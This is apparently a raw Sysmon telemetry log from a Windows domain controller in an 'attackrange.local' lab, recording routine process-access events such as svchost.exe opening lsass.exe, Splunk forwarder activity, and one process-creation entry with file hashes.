09:09:45.371{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.371{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.371{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D9-5F80-6B00-000000007F01}3408C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D9-5F80-6B00-000000007F01}3408C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.293{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D9-5F80-6B00-000000007F01}3408C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:45.127{A5F018FF-28D9-5F80-6B00-000000007F01}3408C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe8.0.2Performance monitorsplunk ApplicationSplunk Inc.splunk-perfmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=1F3027C93882E5D5A667B84CCEF3ED67,SHA256=504CDB3742BCBF617C837270CCEC0243205B7BF0A6AB5117EFB838DD2F004AAC,IMPHASH=53D37CD53647C5D82FCFA9E6970E154E{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002347Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.949{A5F018FF-28DA-5F80-6D00-000000007F01}37923752C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002346Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28DA-5F80-6D00-000000007F01}3792C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002345Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002344Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002343Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002342Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002341Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002340Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002339Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002338Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:46.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002337Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 